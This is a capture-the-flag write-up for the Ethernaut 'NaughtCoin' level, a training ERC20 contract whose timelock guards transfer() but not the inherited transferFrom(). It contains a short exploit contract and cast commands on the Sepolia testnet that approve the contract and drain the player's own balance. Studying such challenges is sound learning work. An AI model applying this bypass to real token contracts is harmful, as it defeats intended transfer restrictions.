NaughtCoin is an ERC20 token and you’re already holding all of them. The catch is that you’ll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

An ERC20 token is a standard used for creating and implementing tokens on the blockchain. You can see its specification in ERC20.

There are 2 functions that can be used to transfer tokens from one wallet to another:

  • transfer(address _to, uint256 _value)
  • transferFrom(address _from, address _to, uint256 _value)

The transfer function directly transfers tokens from callers’ own wallet and transfers them to the desired one. The transferFrom function, however, lets callers transfer tokens from a foreign wallet to themselves. For this to be successful, the owner of the tokens must have previously approved the caller to do so.

This is the code of the challenge’s contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

As can be seen, NaughtCoin inherits from Opezepellin’s ERC20 implementation. This means that it also inherits the transferFrom function, which is not modified with lockTokens.

We can use this to:

  1. Create a contract
  2. Approve the contract to take all of our tokens
  3. Transfer the tokens from the contract

And our wallet will be empty!

We can use this exploit contract:

contract Exploit {
    function exploit(address _coin, address _player) public {
        uint256 totalTokens = NaughtCoin(_coin).balanceOf(_player);
        NaughtCoin(_coin).transferFrom(_player, address(this), totalTokens);
    }
}

alt text

Let’s check our tokens balance:

cast call 0xF3D39eAd948Ee79f7e789b57654D2705A7c7b624 "balanceOf(address)" 0x12c5Da011f95E229Ba45f732e8f79608444D76b9 --rpc-url $SEPOLIA_RPC_URL

alt text

Approve the contract to take that amount:

cast send 0xF3D39eAd948Ee79f7e789b57654D2705A7c7b624 "approve(address, uint256)" 0xf97B96dEafAAe122647064Dbde1472DF25BE89b6 0xd3c21bcecceda1000000 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL

And call the exploit function of our contract:

cast send 0xf97B96dEafAAe122647064Dbde1472DF25BE89b6 "exploit(address, address)" 0xF3D39eAd948Ee79f7e789b57654D2705A7c7b624 0x12c5Da011f95E229Ba45f732e8f79608444D76b9 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL

We can verify that our balance is 0 now:

alt text

alt text